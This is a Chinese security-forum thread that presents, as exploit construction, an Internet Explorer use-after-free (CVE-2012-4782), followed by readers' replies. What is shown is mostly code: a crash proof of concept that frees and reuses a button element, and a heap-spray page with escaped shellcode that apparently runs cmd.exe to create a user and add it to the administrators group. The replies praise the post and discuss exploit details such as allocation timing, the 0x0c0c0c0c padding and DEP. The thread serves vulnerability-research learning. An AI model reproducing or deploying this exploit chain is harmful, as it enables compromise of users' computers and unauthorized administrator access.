首页
社区
课程
招聘
[原创]CVE-2012-4782漏洞分析到EXP构造
发表于: 2015-12-9 18:56 8968

[原创]CVE-2012-4782漏洞分析到EXP构造

2015-12-9 18:56
8968
<!doctype html>
<html>
<head>
<script>
        function helloWorld()
        {
                var e0 = null;
                var e1 = null;
                var e2 = null;
                try {
                        e0 = document.getElementById("a");
                        e1 = document.getElementById("b");
                        e2 = document.createElement("q");
                        e1.applyElement(e2);
                        alert(e1.parentNode);
                        e1.appendChild(document.createElement('button'));
                        e1.applyElement(e0);
                        e2.outerText = "";
                        e2.appendChild(document.createElement('body'));
                }
                catch(e)
                { }
                CollectGarbage();
        }
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a"></form>
<dfn id="b"></dfn>
</body>
</html>
<!doctype html>
<html>
<head>
<script>
        function helloWorld()
        {
                var e0 = null;
                var e1 = null;
                var e2 = null;
                try {
                        e0 = document.getElementById("a");
                        e1 = document.getElementById("b");
                        e2 = document.createElement("q");
                        e1.applyElement(e2);
                        alert(e1.parentNode);
                        e1.appendChild(document.createElement('button'));
                        e1.applyElement(e0);
                        e2.outerText = "";
                        e2.appendChild(document.createElement('body'));
                }
                catch(e)
                { }
                CollectGarbage();
        }
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a"></form>
<dfn id="b"></dfn>
</body>
</html>
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
alert("button will be free!")
e2.outerText = "";
alert("button has been free!")
e2.appendChild(document.createElement('body'));
>堆喷射(spray)
>分配相同大小的对象覆盖原 button 内存
<html>
<head></head>
<body>
<script>
//堆喷射
 //Fix BSTR spec
 function alloc(bytes, mystr) {
 while (mystr.length<bytes) mystr += mystr;
 return mystr.substr(0, (bytes-6)/2);
 }

 block_size = 0x1000;
 padding_size = 0x5FC; //offset to 0x0c0c0c0c inside our 0x1000 hex block
 Padding = '';
 NopSlide = '';

 var Shellcode =
unescape('\ud231\u30b2\u8b64\u8b12\u0c52\u528b\u8b1c\u0842\u728b\u8b20\u80
12\u0c7e\u7533\u89f2\u03c7\u3c78\u578b\u0178\u8bc2\u207a\uc701\ued31\u348
b\u01af\u45c6\u3e81\u6957\u456e\uf275\u7a8b\u0124\u66c7\u2c8b\u8b6f\u1c7a%
uc701\u7c8b\ufcaf\uc701\u4b68\u6e33\u6801\u4220\u6f72\u2f68\u4441\u6844\u7
26f\u2073\u7468\u6172\u6874\u6e69\u7369\u2068\u6441\u686d\u6f72\u7075\u63
68\u6c61\u6867\u2074\u6f6c\u2668\u6e20\u6865\u4444\u2620\u6e68\u2f20\u684
1\u6f72\u334b\u3368\u206e\u6842\u7242\u4b6f\u7368\u7265\u6820\u7465\u7520
\u2f68\u2063\u686e\u7865\u2065\u6368\u646d\u892e\ufee5\u534d\uc031\u5550%
ud7ff');

 for (p = 0; p < padding_size; p++){
 Padding += unescape('ᰜ');}

 for (c = 0; c < block_size; c++){
 NopSlide += unescape('ᰜ');} //shellcode hou
 NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));

 var OBJECT = Padding + Shellcode + NopSlide;
 OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb

 var evil = new Array();
 for (var k = 0; k < 150; k++) {
 evil[k] = OBJECT.substr(0, OBJECT.length);
 }
 alert('spray done !');
</script>
</body>
</html>

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 3
支持
分享
最新回复 (36)
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
2
分析的非常精彩,鼓励鼓励
2015-12-9 21:41
0
雪    币: 144
活跃值: (38)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
确实很精彩。我在win7 上测试时,发现360能够检测到这种形式的攻击。不容易啊
2015-12-9 22:13
0
雪    币: 81
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
赞  顶楼主。。
2015-12-9 22:24
0
雪    币: 601
活跃值: (256)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
5
赞一个..
2015-12-10 09:10
0
雪    币: 211
活跃值: (52)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
好帖,留名
2015-12-10 11:11
0
雪    币: 216
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
7
分析的好详细
2015-12-10 11:24
0
雪    币: 100
活跃值: (328)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
很详细。赞
2015-12-10 11:35
0
雪    币: 107
活跃值: (404)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
膜拜了.............
2015-12-10 12:35
0
雪    币: 1556
活跃值: (883)
能力值: ( LV9,RANK:320 )
在线值:
发帖
回帖
粉丝
10
哇,这个值得学习学习
2015-12-10 19:11
0
雪    币: 11
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
楼主是个心细之人,为好帖顶
2015-12-10 20:37
0
雪    币: 292
活跃值: (815)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
12
赞一个,最近时间好少一直没有仔细看,看到找创建和释放节点那里,其实通过poc的分析,我们可以得到一定量的信息,比如createElement就是创建节点。。利用poc信息来加快调试进程,也是果牛提到过的方法,不过x CButton也是在漏洞调试中会用到的一种方法,条条大路通罗马嘛
2015-12-11 16:16
0
雪    币: 180
活跃值: (1313)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
13
菜鸟请教个问题:
占位代码:
for(var i = 0; i<0x150; i++)
{
arr_div[i]= document.createElement("div");
arr_div[i].title= junk.substring(0,(0x58-6)/2);
}
为什么不放在buttom释放后和使用前呢。感觉应该放在如下位置:
e2.outerText = "";//buttom释放
//是不是应该放在这里啊????
e2.appendChild(document.createElement('body'));//buttom再使用
2015-12-12 12:27
0
雪    币: 115
活跃值: (23)
能力值: (RANK:20 )
在线值:
发帖
回帖
粉丝
14
前排广告位出租,感谢分享!!!!!
2015-12-12 16:09
0
雪    币: 191
活跃值: (848)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
15
[QUOTE=artake;1405849]菜鸟请教个问题:
占位代码:
for(var i = 0; i<0x150; i++)
{
arr_div[i]= document.createElement("div");
arr_div[i].title= junk.substring(0,(0x58-6)/2);
}
...[/QUOTE]

试过,并不行。原因我不懂,估计只有逆向底层的实现才会知道吧,本菜鸟做不到啊,希望有大神来解惑
2015-12-12 16:50
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
心血之作,MARK
2015-12-14 23:02
0
雪    币: 201
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
感谢楼主分享,mark
2015-12-15 22:28
0
雪    币: 191
活跃值: (848)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
18
乐于分享,也乐于看见别人分享
2015-12-15 22:30
0
雪    币: 6
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
感谢分享
2015-12-24 11:39
0
雪    币: 612
活跃值: (3804)
能力值: ( LV12,RANK:200 )
在线值:
发帖
回帖
粉丝
20
膜拜Netfairy大牛
2015-12-24 14:31
0
雪    币: 1040
活跃值: (1293)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
为什么复制之后就变成001c001c了,是编码的问题?
2015-12-24 17:15
0
雪    币: 191
活跃值: (848)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
22
也许。能不能详细描述一下
2015-12-24 17:21
0
雪    币: 1040
活跃值: (1293)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
没事了……复制的时候弄错了……上面那个POC是以0c0c0c0c地址来填充的把,1c1c1c1c没有填充到,用0c0c0c0c倒是可以滑……
2015-12-25 09:24
0
雪    币: 27
活跃值: (622)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
24
学习了-。-  刚接触 漏洞的调试
2016-1-9 17:12
0
雪    币: 1149
活跃值: (888)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
25
把dep 加进去,不然这种常规常套,我觉得对自己也是自我满足的啦....加油 ,完整的攻击流程很重要,不是 是完美的 漏洞流程
2016-1-10 10:27
0
游客
登录 | 注册 方可回帖
返回
//